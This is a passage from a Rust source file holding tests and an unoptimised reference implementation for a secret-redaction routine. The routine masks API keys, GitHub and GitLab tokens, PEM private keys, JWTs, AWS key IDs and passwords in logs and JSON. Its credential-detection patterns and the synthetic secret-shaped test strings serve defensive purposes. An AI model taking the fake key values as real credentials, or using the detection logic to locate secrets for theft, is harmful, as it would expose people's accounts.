2814 format!("{{\"stdout\":\"ok\\nsk-proj-{BODY}\\n\"}}"),
2815 format!("{{\"line\":\"name\\tghp_{BODY}\"}}"),
2816 format!("{{\"html\":\"\\u003cghs_{BODY}\\u003e\"}}"),
2817 format!("{{\"log\":\"key\\nsk-ant-api03-{BODY}\"}}"),
2818 format!("printf 'a\\nsk-live-{BODY}'"),
2819 ] {
2820 assert_masked(&input, BODY);
2821 }
2822 }
2823
2824 #[test]
2825 fn text_after_the_footer_of_a_multi_line_key_is_still_scanned() {
2826 let input = format!(
2827 "-----BEGIN PRIVATE KEY-----\nabc\n-----END PRIVATE KEY----- GH_PAT=ghp_{BODY}\n"
2828 );
2829 for out in both_policies(&input) {
2830 assert_eq!(
2831 out,
2832 "-----BEGIN PRIVATE KEY-----\n[redacted]\n-----END PRIVATE KEY----- GH_PAT=[redacted]\n"
2833 );
2834 }
2835 }
2836
2837 #[test]
2838 fn a_credential_is_masked_wherever_it_sits_in_a_word() {
2839 for input in [
2840 format!("client := openai.NewClient(\"sk-proj-{BODY}\")"),
2841 format!("const stripe = new Stripe('sk_live_{BODY}');"),
2842 format!("\t\"sk-live-{BODY}\","),
2843 format!("\tghp_{BODY}"),
2844 format!("prod\tsk-live-{BODY}\tactive"),
2845 format!("+sk-live-{BODY}"),
2846 format!("+\t\"sk-proj-{BODY}\","),
2847 format!("-ghp_{BODY}"),
2848 format!("x|sk-live-{BODY}"),
2849 format!("vault/sk-live-{BODY}"),
2850 format!("https://x-access-token:ghs_{BODY}@github.com/o/r.git"),
2851 format!("https://ghp_{BODY}@github.com/o/r.git"),
2852 format!("https://oauth2:glpat-{BODY}@gitlab.com/o/r.git"),
2853 format!("https://github_pat_{BODY}@github.com/o/r.git"),
2854 format!("https://user:hf_{BODY}@huggingface.co/x"),
2855 format!("use ghs_{BODY}@github.com"),
2856 format!("ref ghs_{BODY}#frag and ghs_{BODY}%40x"),
2857 ] {
2858 assert_masked(&input, BODY);
2859 }
2860 assert_eq!(
2861 redact_secrets(&format!("https://ghp_{BODY}@github.com/o/r.git")),
2862 "https://[redacted]@github.com/o/r.git"
2863 );
2864 }
2865
2866 #[test]
2867 fn a_wrapped_credential_after_a_sensitive_name_is_masked_under_both_policies() {
2868 for input in [
2869 format!(" \"api_keys\": [\"sk-proj-{BODY}\", \"sk-proj-{BODY}Q\"],"),
2870 format!("tokens_secret: ['ghp_{BODY}']"),
2871 format!("api_key: (\"sk-proj-{BODY}\")"),
2872 ] {
2873 assert_masked(&input, BODY);
2874 }
2875 }
2876
2877 #[test]
2878 fn a_secret_flag_masks_the_word_that_follows_it() {
2879 for (input, expected) in [
2880 (
2881 format!("run login --api-key {HEX} first"),
2882 "run login --api-key [redacted] first",
2883 ),
2884 (format!("deploy --token {HEX}"), "deploy --token [redacted]"),
2885 ] {
2886 for out in both_policies(&input) {
2887 assert_eq!(out, expected, "{input}");
2888 }
2889 }
2890 assert_masked(&format!("deploy --token = {HEX}"), HEX);
2891 assert_eq!(
2892 redact_secrets("mysql -u root --password Hunter2Xyzzy99 --verbose"),
2893 "mysql -u root --password [redacted] --verbose"
2894 );
2895 assert_eq!(
2896 redact_model_bound_secrets("mysql -u root --password hunter2"),
2897 "mysql -u root --password hunter2"
2898 );
2899 }
2900
2901 #[test]
2902 fn names_written_without_separators_are_sensitive_but_prose_is_not() {
2903 for name in [
2904 "DBPASSWORD",
2905 "MYSECRET",
2906 "dbpasswd",
2907 "X-Api-Key",
2908 "--api-key",
2909 ] {
2910 assert!(key_is_sensitive(name), "{name}");
2911 }
2912 for name in [
2913 "passwordless",
2914 "secretary",
2915 "max_tokens",
2916 "tokenizer",
2917 "mode",
2918 ] {
2919 assert!(!key_is_sensitive(name), "{name}");
2920 }
2921 assert_eq!(
2922 redact_secrets("DBPASSWORD=hunter2"),
2923 "DBPASSWORD=[redacted]"
2924 );
2925 }
2926
2927 #[test]
2928 fn gutter_pem_variants_and_escaped_json_assignments_are_masked() {
2929 let b64_64 = "MIIEpAIBAAKCAQEAz7qX4mNb2Vc9Lk3PwR8tMIIEpAIBAAKCAQEAz7qX4mNb2Vc9";
2930 let b64_32_a = "MIIEpAIBAAKCAQEAz7qX4mNb2Vc9Lk3P";
2931 let b64_32_b = "wR8tMIIEpAIBAAKCAQEAz7qX4mNb2Vc9";
2932 for (input, secret) in [
2933 (
2934 format!(
2935 " 1│ -----BEGIN RSA PRIVATE KEY-----\n 2│ Proc-Type: 4,ENCRYPTED\n 3│ DEK-Info: AES-128-CBC,1234567890ABCDEF1234567890ABCDEF\n 4│ \n 5│ {b64_64}\n 6│ -----END RSA PRIVATE KEY-----\n"
2936 ),
2937 b64_64,
2938 ),
2939 (
2940 format!(
2941 " 1│ -----BEGIN PGP PRIVATE KEY BLOCK-----\n 2│ Version: GnuPG v2\n 3│ \n 4│ {b64_64}\n 5│ -----END PGP PRIVATE KEY BLOCK-----\n"
2942 ),
2943 b64_64,
2944 ),
2945 (
2946 format!(
2947 " 1│ -----BEGIN PRIVATE KEY-----\n 2│ \n 3│ {b64_64}\n 4│ -----END PRIVATE KEY-----\n"
2948 ),
2949 b64_64,
2950 ),
2951 (
2952 format!(
2953 " 1│ -----BEGIN PRIVATE KEY-----\n 2│ {b64_32_a}\n 3│ {b64_32_b}\n 4│ -----END PRIVATE KEY-----\n"
2954 ),
2955 b64_32_a,
2956 ),
2957 (
2958 format!(" 1│ -----BEGIN RSA PRIVATE KEY----- {b64_64}\n"),
2959 b64_64,
2960 ),
2961 (
2962 format!(
2963 " 1│ -----BEGIN RSA PRIVATE KEY----- {b64_64}\n 2│ {b64_64}\n 3│ -----END RSA PRIVATE KEY-----\n"
2964 ),
2965 b64_64,
2966 ),
2967 (
2968 format!(
2969 "const key = \"-----BEGIN RSA PRIVATE KEY-----\\u000a\" +\n \"{b64_64}\\u000a\" +\n \"-----END RSA PRIVATE KEY-----\\u000a\";\n"
2970 ),
2971 b64_64,
2972 ),
2973 (
2974 format!(
2975 "const key = \"-----BEGIN RSA PRIVATE KEY-----\\n\" + // key\n \"{b64_64}\\n\" +\n \"-----END RSA PRIVATE KEY-----\";\n"
2976 ),
2977 b64_64,
2978 ),
2979 (
2980 format!("{{\\\"model\\\":\\\"gpt\\\",\\\"api_key\\\":\\\"{HEX}\\\"}}"),
2981 HEX,
2982 ),
2983 (
2984 format!("{{\\\"model\\\": \\\"gpt\\\", \\\"api_key\\\": \\\"{HEX}\\\"}}"),
2985 HEX,
2986 ),
2987 (
2988 format!(
2989 "{{\"payload\":\"{{\\\"model\\\":\\\"gpt\\\",\\\"api_key\\\":\\\"{HEX}\\\"}}\"}}"
2990 ),
2991 HEX,
2992 ),
2993 (format!("{{\"stdout\":\"ok\\nAPI_KEY={HEX}\"}}"), HEX),
2994 ] {
2995 assert_masked(&input, secret);
2996 }
2997 let stdout_pw = "{\"stdout\":\"ok\\npassword=Hunter2Xyzzy99\"}";
2998 assert!(!redact_secrets(stdout_pw).contains("Hunter2Xyzzy99"));
2999 assert_masked(
3000 "{\"stdout\":\"ok\\npassword=Hunter2Xyzzy99Abc123\"}",
3001 "Hunter2Xyzzy99Abc123",
3002 );
3003
3004 let inline_short = "run --api-key=short claude-3-5-sonnet-20241022";
3005 assert_eq!(redact_model_bound_secrets(inline_short), inline_short);
3006 assert_eq!(redact_secrets(inline_short), "run --api-key=[redacted]");
3007
3008 let pgp_comment = format!(
3009 " 1│ -----BEGIN PGP PRIVATE KEY BLOCK-----\n 2│ Version: GnuPG v2\n 3│ Comment: https://gnupg.org\n 4│ \n 5│ {b64_64}\n 6│ -----END PGP PRIVATE KEY BLOCK-----\n"
3010 );
3011 assert_masked(&pgp_comment, b64_64);
3012
3013 let long_preamble = format!(
3014 " 1│ -----BEGIN PGP PRIVATE KEY BLOCK-----\n 2│ \n 3│ \n 4│ \n 5│ \n 6│ \n 7│ \n 8│ \n 9│ \n 10│ \n 11│ {b64_64}\n 12│ -----END PGP PRIVATE KEY BLOCK-----\n"
3015 );
3016 assert_masked(&long_preamble, b64_64);
3017
3018 let b64_16 = "MIIEpAIBAAKCAQEA";
3019 let short_wrapped_pem = format!(
3020 " 1│ -----BEGIN PRIVATE KEY-----\n 2│ {b64_16}\n 3│ {b64_16}\n 4│ -----END PRIVATE KEY-----\n"
3021 );
3022 assert_masked(&short_wrapped_pem, b64_16);
3023
3024 for (input, secret) in [
3025 (format!("{{\"stdout\":\"API_KEY={HEX}\"}}"), HEX),
3026 (
3027 format!("{{\"stdout\":\"ok\\u003cAPI_KEY={HEX}\\u003e\"}}"),
3028 HEX,
3029 ),
3030 (
3031 format!("\\\\\\\"api_key\\\\\\\":\\\\\\\"{HEX}\\\\\\\""),
3032 HEX,
3033 ),
3034 (
3035 format!("{{\"stdout\":\"ok\\n\\\"api_key\\\":\\n\\\"{HEX}\\\"\"}}"),
3036 HEX,
3037 ),
3038 (
3039 format!("{{\"stdout\":\"\\\"api_key\\\": \\\"{HEX}\\\"\"}}"),
3040 HEX,
3041 ),
3042 (format!("{{\"api_tokens\": \"{HEX}\"}}"), HEX),
3043 (format!("{{\"api_tokens\": [ \"{HEX}\" ]}}"), HEX),
3044 (
3045 format!("{{\"api_tokens\": {{ \"prod\": \"{HEX}\" }}}}"),
3046 HEX,
3047 ),
3048 (format!("tokens={HEX}"), HEX),
3049 (format!("tokens = {HEX}"), HEX),
3050 ] {
3051 assert_masked(&input, secret);
3052 }
3053
3054 for (input, secret) in [
3055 ("API_TOKENS=hunter2", "hunter2"),
3056 ("ACCESS_TOKENS=my_short_secret", "my_short_secret"),
3057 (
3058 "ACCESS_TOKENS=secret_token_without_digits",
3059 "secret_token_without_digits",
3060 ),
3061 ("SLACK_BOT_TOKENS=short_alpha_secret", "short_alpha_secret"),
3062 ] {
3063 let out = redact_secrets(input);
3064 assert!(!out.contains(secret), "{input}: {out}");
3065 assert!(out.contains(REDACTED), "{input}: {out}");
3066 }
3067
3068 for safe in [
3069 "run --max-tokens=8192 claude-3-5-sonnet-20241022",
3070 "set --tokenizer=bpe crates/engine/src/v2.rs",
3071 "run --token-limit=4096 /Users/alice/src/v2",
3072 "eval --tokens=5 deadbeef12345678",
3073 "tokenizer=sentencepiece-v2",
3074 ] {
3075 for out in both_policies(safe) {
3076 assert_eq!(out, safe, "{safe}");
3077 }
3078 }
3079 }
3080 }
3081
3082 #[cfg(test)]
3083 mod fast_path_equivalence_tests {
3084 use super::*;
3085
3086 const REF_STRUCTURAL_DELIMITERS: [char; 7] = ['{', '}', '[', ']', ',', '&', '?'];
3087
3088 fn ref_key_sensitivity(raw: &str) -> KeySensitivity {
3089 let key_norm = normalize_sensitive_key(raw);
3090 key_sensitivity_normalized(&key_norm)
3091 }
3092
3093 fn ref_is_token_delimiter(c: char) -> bool {
3094 !c.is_ascii()
3095 || c.is_ascii_whitespace()
3096 || matches!(
3097 c,
3098 '"' | '\''
3099 | '`'
3100 | ','
3101 | ';'
3102 | '('
3103 | ')'
3104 | '{'
3105 | '}'
3106 | '['
3107 | ']'
3108 | '<'
3109 | '>'
3110 | '&'
3111 | '?'
3112 | '*'
3113 | '|'
3114 | '\\'
3115 | '='
3116 | ':'
3117 | '@'
3118 | '/'
3119 | '+'
3120 | '#'
3121 | '%'
3122 )
3123 }
3124
3125 fn ref_is_bare_secret_token(word: &str) -> bool {
3126 SECRET_TOKEN_PREFIXES
3127 .iter()
3128 .any(|p| word.len() > p.len() + 6 && word.starts_with(p))
3129 || CREDENTIAL_VALUE_PREFIXES
3130 .iter()
3131 .chain(BARE_OPAQUE_TOKEN_PREFIXES)
3132 .filter(|p| !matches!(**p, "AKIA" | "ASIA"))
3133 .any(|p| word.strip_prefix(p).is_some_and(is_opaque_token_body))
3134 || is_aws_access_key_id(word)
3135 || is_jwt_shaped(word)
3136 }
3137
3138 fn ref_secret_token_core(word: &str) -> Option<&str> {
3139 let core = word.trim_matches(|c| {
3140 matches!(
3141 c,
3142 '(' | ')' | '[' | ']' | '{' | '}' | '<' | '>' | ':' | '`' | '.' | '!' | '?'
3143 )
3144 });
3145 (!core.is_empty() && ref_is_bare_secret_token(core)).then_some(core)
3146 }
3147
3148 fn ref_mask_bare_secret_tokens(text: &str, placeholder: &str) -> Option<String> {
3149 fn split_piece(piece: &str) -> (&str, &str) {
3150 match piece.chars().next_back() {
3151 Some(last) if ref_is_token_delimiter(last) => {
3152 piece.split_at(piece.len() - last.len_utf8())
3153 }
3154 _ => (piece, ""),
3155 }
3156 }
3157 fn credential_core(body: &str) -> Option<&str> {
3158 ref_secret_token_core(body.trim_start_matches('-'))
3159 .or_else(|| ref_secret_token_core(body))
3160 }
3161 fn after_escape(body: &str) -> &str {
3162 if let Some(rest) = body.strip_prefix(['n', 'r', 't', 'b', 'f']) {
3163 return rest;
3164 }
3165 if let Some(rest) = body.strip_prefix('u')
3166 && let Some(hex) = rest.get(..4)
3167 && hex.chars().all(|c| c.is_ascii_hexdigit())
3168 {
3169 return &rest[4..];
3170 }
3171 body
3172 }
3173 fn core_after(body: &str, escaped: bool) -> Option<&str> {
3174 credential_core(body).or_else(|| {
3175 escaped
3176 .then(|| credential_core(after_escape(body)))
3177 .flatten()
3178 })
3179 }
3180 let mut escaped = false;
3181 let mut found = false;
3182 for piece in text.split_inclusive(ref_is_token_delimiter) {
3183 let (body, tail) = split_piece(piece);
3184 found |= core_after(body, escaped).is_some();
3185 escaped = tail == "\\";
3186 }
3187 if !found {
3188 return None;
3189 }
3190 let mut out = String::with_capacity(text.len());
3191 let mut escaped = false;
3192 for piece in text.split_inclusive(ref_is_token_delimiter) {
3193 let (body, tail) = split_piece(piece);
3194 match core_after(body, escaped) {
3195 Some(core) => out.push_str(&body.replacen(core, placeholder, 1)),
3196 None => out.push_str(body),
3197 }
3198 escaped = tail == "\\";
3199 out.push_str(tail);
3200 }
3201 Some(out)
3202 }
3203
3204 fn ref_redact_inline_keyed_assignment(word: &str, policy: RedactionPolicy) -> Option<String> {
3205 if word.contains('\\')
3206 && !word.contains(REF_STRUCTURAL_DELIMITERS)
3207 && let Some(redacted) = redact_backslash_assignments(word, policy)
3208 {
3209 return ref_mask_bare_secret_tokens(&redacted, REDACTED).or(Some(redacted));
3210 }
3211 if let Some(redacted) = redact_single_keyed_assignment(word, policy) {
3212 return ref_mask_bare_secret_tokens(&redacted, REDACTED).or(Some(redacted));
3213 }
3214 if word.contains(REF_STRUCTURAL_DELIMITERS) {
3215 return None;
3216 }
3217 ref_mask_bare_secret_tokens(word, REDACTED)
3218 }
3219
3220 fn ref_push_structured_segment(
3221 out: &mut String,
3222 segment: &str,
3223 policy: RedactionPolicy,
3224 ) -> bool {
3225 let already_masked = segment.split_once(['=', ':']).is_some_and(|(_, value)| {
3226 let (core, _, _) = split_value_quotes(value);
3227 !core.is_empty() && core.chars().all(|c| c == '*')
3228 });
3229 if segment.is_empty() || already_masked {
3230 out.push_str(segment);
3231 return false;
3232 }
3233 if let Some(redacted) = ref_redact_inline_keyed_assignment(segment, policy) {
3234 out.push_str(&redacted);
3235 return true;
3236 }
3237 let (core, _, _) = split_value_quotes(segment);
3238 let core = core.trim_end_matches(['"', '\'']);
3239 if !core.is_empty() && (ref_secret_token_core(core).is_some() || is_jwt_shaped(core)) {
3240 out.push_str(&segment.replacen(core, REDACTED, 1));
3241 return true;
3242 }
3243 if let Some(redacted) = ref_mask_bare_secret_tokens(segment, REDACTED) {
3244 out.push_str(&redacted);
3245 return true;
3246 }
3247 out.push_str(segment);
3248 false
3249 }
3250
3251 fn ref_redact_structured_word(word: &str, policy: RedactionPolicy) -> Option<String> {
3252 if !word.contains(REF_STRUCTURAL_DELIMITERS) {
3253 return None;
3254 }
3255 let mut out = String::with_capacity(word.len());
3256 let mut changed = false;
3257 let mut start = 0;
3258 for (idx, ch) in word.match_indices(REF_STRUCTURAL_DELIMITERS) {
3259 changed |= ref_push_structured_segment(&mut out, &word[start..idx], policy);
3260 out.push_str(ch);
3261 start = idx + ch.len();
3262 }
3263 changed |= ref_push_structured_segment(&mut out, &word[start..], policy);
3264 changed.then_some(out)
3265 }
3266
3267 fn ref_split_horizontal_whitespace_preserving(line: &str) -> (Vec<&str>, Vec<&str>) {
3268 let mut tokens = Vec::new();
3269 let mut seps = Vec::new();
3270 let bytes = line.as_bytes();
3271 let mut i = 0;
3272 while i < bytes.len() {
3273 let ws_start = i;
3274 while i < bytes.len() && matches!(bytes[i], b' ' | b'\t') {
3275 i += 1;
3276 }
3277 seps.push(&line[ws_start..i]);
3278 if i == bytes.len() {
3279 return (tokens, seps);
3280 }
3281 let tok_start = i;
3282 while i < bytes.len() && !matches!(bytes[i], b' ' | b'\t') {
3283 i += 1;
3284 }
3285 tokens.push(&line[tok_start..i]);
3286 }
3287 seps.push("");
3288 (tokens, seps)
3289 }
3290
3291 fn ref_redact_line(line: &str, policy: RedactionPolicy) -> String {
3292 let (body, newline) = match line.strip_suffix('\n') {
3293 Some(rest) => (rest, "\n"),
3294 None => (line, ""),
3295 };
3296 if let Some(redacted) = redact_keyed_assignment(body, policy) {
3297 return format!("{redacted}{newline}");
3298 }
3299 let mut changed = false;
3300 let mut spaced = SpacedAssignment::None;
3301 let mut containers: Vec<SanitizeContainerArm> = Vec::new();
3302 let (words, seps) = ref_split_horizontal_whitespace_preserving(body);
3303 let mut masked: Vec<String> = Vec::with_capacity(words.len());
3304 for word in &words {
3305 let trimmed = trim_word_punctuation(word);
3306 if let SpacedAssignment::FlagValue(sensitivity) = spaced
3307 && !trimmed.is_empty()
3308 {
3309 if matches!(trimmed, "=" | ":") {
3310 masked.push((*word).to_string());
3311 spaced = SpacedAssignment::AwaitingValue(sensitivity);
3312 continue;
3313 }
3314 spaced = SpacedAssignment::None;
3315 let core = credential_word_core(trimmed);
3316 let target = if core.is_empty() { trimmed } else { core };
3317 if !trimmed.starts_with('-')
3318 && ((policy == RedactionPolicy::KeyBased
3319 && sensitivity == KeySensitivity::Certain)
3320 || value_looks_like_credential(target))
3321 {
3322 masked.push(word.replacen(target, REDACTED, 1));
3323 changed = true;
3324 continue;
3325 }
3326 }
3327 if let SpacedAssignment::AwaitingValue(sensitivity) = spaced
3328 && !trimmed.is_empty()
3329 {
3330 if let Some(open) = trimmed.chars().rfind(|c| matches!(c, '[' | '{')) {
3331 let close = if open == '{' { '}' } else { ']' };
3332 if !trimmed.contains(close) && containers.len() < MAX_SANITIZE_CONTAINER_DEPTH {
3333 let in_object = open == '{';
3334 containers.push(SanitizeContainerArm {
3335 close,
3336 sensitivity,
3337 in_object,
3338 });
3339 if trimmed.chars().all(|c| matches!(c, '[' | '{' | '"' | '\'')) {
3340 spaced = if in_object {
3341 SpacedAssignment::None
3342 } else {
3343 SpacedAssignment::AwaitingValue(sensitivity)
3344 };
3345 masked.push((*word).to_string());
3346 continue;
3347 }
3348 }
3349 }
3350 if trimmed
3351 .chars()
3352 .all(|c| matches!(c, ']' | '}' | ',' | ';' | '"' | '\''))
3353 {
3354 pop_sanitize_containers(&mut containers, word);
3355 spaced = containers
3356 .last()
3357 .filter(|c| !c.in_object)
3358 .map_or(SpacedAssignment::None, |c| {
3359 SpacedAssignment::AwaitingValue(c.sensitivity)
3360 });
3361 masked.push((*word).to_string());
3362 continue;
3363 }
3364 if let Some(container) = containers.last()
3365 && container.in_object
3366 && trimmed.ends_with(':')
3367 && !trimmed.ends_with("://")
3368 {
3369 masked.push((*word).to_string());
3370 spaced = SpacedAssignment::AwaitingValue(container.sensitivity);
3371 continue;
3372 }
3373 let effective_policy = if sensitivity == KeySensitivity::IfShaped {
3374 RedactionPolicy::CredentialShaped
3375 } else {
3376 policy
3377 };
3378 match effective_policy {
3379 RedactionPolicy::KeyBased => {
3380 masked.push(REDACTED.to_string());
3381 changed = true;
3382 break;
3383 }
3384 RedactionPolicy::CredentialShaped => {
3385 let core = credential_word_core(trimmed);
3386 if is_auth_scheme_word(core) {
3387 masked.push((*word).to_string());
3388 continue;
3389 }
3390 if value_looks_like_credential(core) {
3391 masked.push(word.replacen(core, REDACTED, 1));
3392 changed = true;
3393 } else if let Some(redacted) = ref_mask_bare_secret_tokens(word, REDACTED) {
3394 masked.push(redacted);
3395 changed = true;
3396 } else {
3397 masked.push((*word).to_string());
3398 }
3399 pop_sanitize_containers(&mut containers, word);
3400 spaced = containers
3401 .last()
3402 .filter(|c| !c.in_object)
3403 .map_or(SpacedAssignment::None, |c| {
3404 SpacedAssignment::AwaitingValue(c.sensitivity)
3405 });
3406 continue;
3407 }
3408 }
3409 }
3410 if let Some(container) = containers.last().copied() {
3411 if trimmed
3412 .chars()
3413 .all(|c| matches!(c, ']' | '}' | ',' | ';' | '"' | '\''))
3414 {
3415 pop_sanitize_containers(&mut containers, word);
3416 spaced = containers
3417 .last()
3418 .filter(|c| !c.in_object)
3419 .map_or(SpacedAssignment::None, |c| {
3420 SpacedAssignment::AwaitingValue(c.sensitivity)
3421 });
3422 masked.push((*word).to_string());
3423 continue;
3424 }
3425 if container.in_object
3426 && trimmed.ends_with(':')
3427 && !trimmed.ends_with("://")
3428 && !trimmed[..trimmed.len() - 1].contains(['=', ':'])
3429 {
3430 masked.push((*word).to_string());
3431 spaced = SpacedAssignment::AwaitingValue(container.sensitivity);
3432 continue;
3433 }
3434 }
3435 let next_spaced = spaced.advance(trimmed);
3436 if (!containers.is_empty() || !matches!(next_spaced, SpacedAssignment::None))
3437 && let Some(redacted) = ref_redact_inline_keyed_assignment(trimmed, policy)
3438 {
3439 changed = true;
3440 masked.push(word.replace(trimmed, &redacted));
3441 spaced = next_spaced;
3442 if matches!(spaced, SpacedAssignment::None) {
3443 pop_sanitize_containers(&mut containers, word);
3444 if let Some(c) = containers.last().filter(|c| !c.in_object) {
3445 spaced = SpacedAssignment::AwaitingValue(c.sensitivity);
3446 }
3447 }
3448 continue;
3449 }
3450 if let Some(redacted) = ref_redact_inline_keyed_assignment(trimmed, policy) {
3451 changed = true;
3452 masked.push(word.replace(trimmed, &redacted));
3453 spaced = SpacedAssignment::None;
3454 } else if let Some(core) = ref_secret_token_core(trimmed) {
3455 changed = true;
3456 masked.push(word.replacen(core, REDACTED, 1));
3457 spaced = SpacedAssignment::None;
3458 } else if let Some(redacted) = ref_redact_structured_word(trimmed, policy) {
3459 changed = true;
3460 masked.push(word.replace(trimmed, &redacted));
3461 spaced = SpacedAssignment::None;
3462 } else if let Some(redacted) = ref_mask_bare_secret_tokens(word, REDACTED) {
3463 changed = true;
3464 masked.push(redacted);
3465 spaced = SpacedAssignment::None;
3466 } else {
3467 masked.push((*word).to_string());
3468 spaced = spaced.advance(trimmed);
3469 }
3470 }
3471 if changed {
3472 let mut out = String::with_capacity(body.len() + newline.len());
3473 out.push_str(seps[0]);
3474 for (idx, piece) in masked.iter().enumerate() {
3475 out.push_str(piece);
3476 if idx + 1 < seps.len() {
3477 out.push_str(seps[idx + 1]);
3478 }
3479 }
3480 out.push_str(newline);
3481 out
3482 } else {
3483 format!("{body}{newline}")
3484 }
3485 }
3486
3487 fn ref_redact_private_key_line(
3488 line: &str,
3489 policy: RedactionPolicy,
3490 rest_of_input: &str,
3491 ) -> Option<PrivateKeyLine> {
3492 if !line.contains(PRIVATE_KEY_HEADER_START) {
3493 return None;
3494 }
3495 let (body, newline) = match line.strip_suffix('\n') {
3496 Some(rest) => (rest, "\n"),
3497 None => (line, ""),
3498 };
3499 let (masked, opens_block) = mask_private_key_spans(
3500 body,
3501 REDACTED,
3502 UnclosedPrivateKey::OpensBlock,
3503 rest_of_input,
3504 )?;
3505 Some(PrivateKeyLine {
3506 text: ref_redact_line(&format!("{masked}{newline}"), policy),
3507 opens_block,
3508 })
3509 }
3510
3511 fn ref_redact_secrets_with(input: &str, policy: RedactionPolicy) -> String {
3512 let mut out = String::with_capacity(input.len());
3513 let mut in_private_key_block = false;
3514 let mut offset = 0;
3515 for line in input.split_inclusive('\n') {
3516 offset += line.len();
3517 let rest_of_input = &input[offset..];
3518 let body = line.strip_suffix('\n').unwrap_or(line);
3519 let trimmed = body.trim();
3520 if in_private_key_block {
3521 if trimmed.contains(PRIVATE_KEY_FOOTER) {
3522 in_private_key_block = false;
3523 if let Some(redacted) = ref_redact_private_key_line(line, policy, rest_of_input)
3524 {
3525 in_private_key_block = redacted.opens_block;
3526 out.push_str(&redacted.text);
3527 } else {
3528 out.push_str(&ref_redact_line(line, policy));
3529 }
3530 } else {
3531 out.push_str(REDACTED);
3532 if line.ends_with('\n') {
3533 out.push('\n');
3534 }
3535 }
3536 continue;
3537 }
3538 if let Some(redacted) = ref_redact_private_key_line(line, policy, rest_of_input) {
3539 in_private_key_block = redacted.opens_block;
3540 out.push_str(&redacted.text);
3541 continue;
3542 }
3543 out.push_str(&ref_redact_line(line, policy));
3544 }
3545 out
3546 }
3547
3548 struct Lcg(u64);
3549
3550 impl Lcg {
3551 fn next_u64(&mut self) -> u64 {
3552 self.0 = self
3553 .0
3554 .wrapping_mul(6364136223846793005)
3555 .wrapping_add(1442695040888963407);
3556 self.0
3557 }
3558
3559 fn pick<'a, T>(&mut self, items: &'a [T]) -> &'a T {
3560 let idx = (self.next_u64() >> 33) as usize % items.len();
3561 &items[idx]
3562 }
3563 }
3564
3565 #[test]
3566 fn fast_path_is_byte_identical_to_unoptimized_reference_across_corpus() {
3567 let body = "Z7qX4mNb2Vc9Lk3PwR8t";
3568 let hex40 = ["3f9a8c1d2e4b5a6f", "7c8d9e0a1b2c3d4e", "5f6a7b8c"].concat();
3569 let jwt = ["eyJhbGciOiJIUzI1NiJ9", "eyJzdWIiOiIxIn0", "c2lnbmF0dXJl"].join(".");
3570 let aws_akia = ["AKIA", "Z7QX4MNB2VC9LK3P"].concat();
3571 let aws_asia = ["ASIA", "Z7QX4MNB2VC9LK3P"].concat();
3572 let pem_begin = ["-----BEGIN RSA ", "PRIVATE KEY-----"].concat();
3573 let pem_end = ["-----END RSA ", "PRIVATE KEY-----"].concat();
3574 let long_key = format!("{}_api_key", "a".repeat(160));
3575 let long_non_secret_key = format!("{}_key", "x".repeat(160));
3576
3577 let mut key_samples = vec![
3578 String::new(),
3579 "k".to_string(),
3580 "key".to_string(),
3581 "keys".to_string(),
3582 "keyword".to_string(),
3583 "api".to_string(),
3584 "api_key".to_string(),
3585 "APIKey".to_string(),
3586 "apikey".to_string(),
3587 "api-key".to_string(),
3588 "X-Api-Key".to_string(),
3589 "apiékey".to_string(),
3590 "Aéa".to_string(),
3591 "ABé".to_string(),
3592 "éA".to_string(),
3593 "access_key".to_string(),
3594 "accessKey".to_string(),
3595 "private_key".to_string(),
3596 "privateKey".to_string(),
3597 "secret".to_string(),
3598 "client_secret".to_string(),
3599 "MYSECRET".to_string(),
3600 "secretary".to_string(),
3601 "token".to_string(),
3602 "tokens".to_string(),
3603 "auth_token".to_string(),
3604 "accessToken".to_string(),
3605 "oauth.token".to_string(),
3606 "max_tokens".to_string(),
3607 "tokenBudget".to_string(),
3608 "tokenizer".to_string(),
3609 "password".to_string(),
3610 "passwd".to_string(),
3611 "DBPASSWORD".to_string(),
3612 "PassWord".to_string(),
3613 "passwordless".to_string(),
3614 "authorization".to_string(),
3615 "Authorization failed".to_string(),
3616 "keyprivatekey".to_string(),
3617 "key123456key".to_string(),
3618 long_key.clone(),
3619 long_non_secret_key.clone(),
3620 ];
3621 for hint in SENSITIVE_KEY_HINTS {
3622 key_samples.push(hint.to_string());
3623 key_samples.push(hint.to_ascii_uppercase());
3624 key_samples.push(format!("my_{hint}_v1"));
3625 }
3626 for sample in &key_samples {
3627 assert_eq!(
3628 key_sensitivity(sample),
3629 ref_key_sensitivity(sample),
3630 "key_sensitivity mismatch for {sample:?}"
3631 );
3632 }
3633
3634 let mut cases: Vec<String> = vec![
3635 String::new(),
3636 "\n".to_string(),
3637 "\r\n\r\n".to_string(),
3638 " \t \n".to_string(),
3639 "fn main() {\n let x = 42;\n println!(\"{x}\");\n}\n".to_string(),
3640 "key = 1\nkeys = [1, 2, 3]\nkeyword: true\n".to_string(),
3641 "api\nkey123456key = 0123456789abcdef0123456789abcdef\n".to_string(),
3642 format!("key1 key2 key3 api_key={hex40}\n"),
3643 format!("key1 key2 key3 private_key={hex40}\n"),
3644 format!("key1 key2 key3 access_key={hex40}\n"),
3645 format!("{long_key} = {hex40}\n"),
3646 format!("{long_non_secret_key} = {hex40}\n"),
3647 "max_tokens = 8192\ntokenizer = \"bpe\"\nAuthorization failed: out of credits\n"
3648 .to_string(),
3649 "note: token = foo bar baz".to_string(),
3650 "note: token = foo\t\tbar\tbaz\n".to_string(),
3651 "note: token = foo ".to_string(),
3652 format!("note: token = Bearer {jwt} trailing\n"),
3653 format!("curl -H 'Authorization: Bearer sk-live-{body}' https://host/a?b=1 && echo ok"),
3654 "sk-1234:5678".to_string(),
3655 r#"{"sk-1234:5678"}"#.to_string(),
3656 "sk-1234567890=***".to_string(),
3657 format!("{{sk-1234567890=***,other=sk-live-{body}}}"),
3658 format!("\\\\nsk-live-{body}"),
3659 format!("\\nnpm_{body}"),
3660 format!("\\u003cghs_{body}\\u003e"),
3661 format!("\\énsk-live-{body}"),
3662 format!("---sk-live-{body}"),
3663 format!("密钥:sk-{body},{jwt}!"),
3664 format!("https://user:ghp_{body}@github.com/o/r.git?x=1&token={hex40}"),
3665 format!("{{\"tokens\":{{\"id_token\":\"{jwt}\",\"api_key\":\"{hex40}\"}}}}"),
3666 format!("{{\"api_tokens\": [ \"{hex40}\", \"short\" ]}}"),
3667 format!("{{\"api_tokens\": {{ \"prod\": \"{hex40}\" }}}}"),
3668 format!("{{\\\"api_key\\\":\\\"{hex40}\\\"}}"),
3669 format!("{{\"stdout\":\"ok\\n\\\"api_key\\\":\\n\\\"{hex40}\\\"\"}}"),
3670 format!(
